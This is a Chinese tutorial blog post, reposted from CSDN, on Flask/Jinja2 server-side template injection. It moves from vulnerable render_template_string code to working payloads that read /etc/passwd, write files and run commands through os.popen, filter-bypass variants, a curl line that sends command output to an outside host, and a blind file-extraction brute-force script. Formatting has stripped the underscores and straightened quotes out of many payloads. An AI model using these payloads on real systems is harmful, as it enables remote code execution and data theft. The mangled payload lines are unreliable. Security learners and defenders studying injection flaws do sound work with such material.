从零学习flask模板注入(SSTI)

flask基础

路由
先看一段代码

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。

渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

模板
flask是使用Jinja2来作为渲染引擎的。看例子
在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。
test.py:

from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
    return render_template('index.html')

/templates/index.html

<h1>This is index page</h1>

访问127.0.0.1:5000/index/的时候,flask就会渲染出index.html的页面。
模板文件并不是单纯的html代码,而是夹杂着模板的语法,因为页面不可能都是一个样子的,有一些地方是会变化的。比如说显示用户名的地方,这个时候就需要使用模板支持的语法,来传参。
test.py:

from flask import Flask,url_for,redirect,render_template,render_template_string
@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is index page.')

/templates/index.html

<h1>{
    
    {
    
    content}}</h1>

这个时候页面仍然输出This is index page。
{ {}}在Jinja2中作为变量包裹标识符。

模板注入基础

不正确的使用flask中的render_template_string方法会引发SSTI。那么是什么不正确的代码呢?
xss利用
存在漏洞的代码

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

这段代码存在漏洞的原因是数据和代码的混淆。代码中的code是用户可控的,会和html拼接后直接带入渲染。
尝试构造code为一串js代码。
在这里插入图片描述
将代码改为如下

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{
    
    { code }}</h1>',code=code)

继续尝试
在这里插入图片描述
可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。
模板注入并不局限于xss,它还可以进行其他攻击。

SSTI文件读取/命令执行
基础知识
在Jinja2模板引擎中,{ {}}是变量包裹标识符。{ {}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
这里还是用上文中存在漏洞的代码

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

构造参数{ {2*4}},结果如下
在这里插入图片描述
可以看到表达式被执行了。
在flask中也有一些全局变量。
在这里插入图片描述

SSTI命令执行


文件包含
看了师傅们的文章,是通过python的对象的继承来一步步实现文件读取和命令执行的的。顺着师傅们的思路,再理一遍。
找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块。
几个魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

1 、获取字符串的类对象

>>> ''.__class__
<type 'str'>

2 、寻找基类
python2的任意一个均可

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__base__
<type 'basestring'>
>>> [].__class__.__base__
<type 'object'>

python3

>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

3 、寻找可用引用

>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]


可以看到有一个`<type 'file'>`

python3

>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearra
y'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class '
super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'd
ict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iter
ator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <c
lass 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumer
ate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_meth
od'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>,
 <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'typ
es.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <c
lass 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class
'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMa
p'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_
array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'it
ems'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class
 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_
importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>,
 <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <cla
ss '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.
lock'>, <class '_thread.RLock'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importli
b_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._Name
spacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>,
<class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.Inc
rementalNewlineDecoder'>, <class 'nt.ScandirIterator'>, <class 'nt.DirEntry'>, <class 'PyHKEY'>, <class 'zipimport.zi
pimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'
>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '
MultibyteCodec'>, <class 'MultibyteIncrementalEncoder'>, <class 'MultibyteIncrementalDecoder'>, <class 'MultibyteStre
amReader'>, <class 'MultibyteStreamWriter'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <cl
ass 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class
 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <cla
ss 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class
 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc
.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '
os._AddedDllDirectory'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._He
lper'>]

4 、利用之

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()

在这里插入图片描述
可以看到读取到了文件。

命令执行
继续看命令执行payload的构造,思路和构造文件读取的一样。
寻找包含os模块的脚本

#!/usr/bin/env python
# encoding: utf-8
for item in ''.__class__.__mro__[2].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print num,item
         num+=1
    except:
        print '-'
        num+=1

输出

-
71 <class 'site._Printer'>
-
-
-
-
76 <class 'site.Quitter'>

payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

构造paylaod的思路和构造文件读取的是一样的。只不过命令执行的结果无法直接看到,需要利用curl将结果发送到自己的vps或者利用ceye)

Python中可以利用的模块

1.任意代码或者命令执行

_ import _()函数
__import__("os").system("ls")

timeit模块

import timeit
timeit.timeit("__import__('os').system('ls')",number=1)
exec()eval()execfile()compile()函数
eval('__import__("os").system("ls")')
exec("a+1")
compile('a = 1 + 2', '<string>', 'exec')

注意:execfile()只存在于Python2,Python3没有该函数
platform模块

import platform
platform.popen('dir').read()

os模块

import os
os.system('ls')
os.popen("ls").read()

subprocess模块

import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()

importlib模块

import importlib importlib.import_module(‘os’).system(‘ls’) #Python3可以,Python2没有该函数 importlib.import(‘os’).system(‘ls’)

文件操作
file()函数

file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open()函数

open('text.txt').read()

codecs模块

import codecs
codecs.open('test.txt').read()

SSTI常用注入

0x00 获取基本类
首先通过str、dict、tuple或list获取python的基本类(当然也可以利用一些其他在jinja2中存在的对象,比如request):

''.__class__.__mro__[2]
{
    
    }.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8]

可以借助__getitem__绕过中括号限制:

''.__class__.__mro__.__getitem__(2)
{
    
    }.__class__.__bases__.__getitem__(0)
().__class__.__bases__.__getitem__(0)
request.__class__.__mro__.__getitem__(8)

下面基本类就用object代替,测试时将object换成上面任意一个
0x01 文件操作
object.subclasses()[40]为file类,所以可以对文件进行操作
读文件:

object.__subclasses__()[40]('/etc/passwd').read()

写文件:

object.__subclasses__()[40]('/tmp').write('test')

执行命令
object.subclasses()[59].init.func_globals.linecache下直接有os类,可以直接执行命令:

object.subclasses()[59].init.func_globals.linecache.os.popen(‘id’).read()
object.subclasses()[59].init.globals.builtins
下有eval,__import__等的全局函数,可以利用此来执行命令:

object.subclasses()[59].init.globals[‘builtins’]‘eval’

object.subclasses()[59].init.globals.builtins.eval(“import(‘os’).popen(‘id’).read()”)

object.subclasses()[59].init.globals.builtins.import(‘os’).popen(‘id’).read()

object.subclasses()[59].init.globals[‘builtins’]‘import’.popen(‘id’).read() 0x03 ByPass

分享一些payload

SSTI绕过姿势

1-过滤[
读文件:

‘’.class.mro.getitem(2).subclasses().pop(40)(’/etc/passwd’).read()
执行命令:

‘’.class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen(‘ls’).read()
2.-过滤引号
先获取chr函数,赋值给chr,后面拼接字符串就好了:

{% set
chr=().class.bases.getitem(0).subclasses()[59].init.globals.builtins.chr
%}{ {
().class.bases.getitem(0).subclasses().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}
借助request对象(推荐):

{ {
().class.bases.getitem(0).subclasses().pop(40)(request.args.path).read() }}&path=/etc/passwd
执行命令:

{% set
chr=().class.bases.getitem(0).subclasses()[59].init.globals.builtins.chr
%}{ {
().class.bases.getitem(0).subclasses().pop(59).init.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
{ {
().class.bases.getitem(0).subclasses().pop(59).init.func_globals.linecache.os.popen(request.args.cmd).read()
}}&cmd=id

3- 过滤双下划线__

{ {
‘’[request.args.class][request.args.mro][2]request.args.subclasses40.read()
}}&class=class&mro=mro&subclasses=subclasses
4-过滤{ {
可以利用{%%}标记

{% if
‘’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘curl
http://127.0.0.1:7999/?i=whoami’).read()==‘p’ %}1{% endif %}
相当于盲命令执行,利用curl将执行结果带出来

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来

{% if
‘’.class.mro[2].subclasses()40.read()[0:1]==‘p’
%}p0{% endif %}
平时的SQL注入盲注脚本改一下就ok

# -*- coding: utf-8 -*-
import requests


url = 'http://127.0.0.1:8080/'

def check(payload):
    postdata = {
    
    
        'exploit':payload
        }
    r = requests.post(url, data=postdata).content
    return '~p0~' in r

password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in xrange(0,100):
    for c in s:
        payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
        if check(payload):
            password += c
            break
    print password

猜你喜欢

转载自blog.csdn.net/qq_51558360/article/details/113766847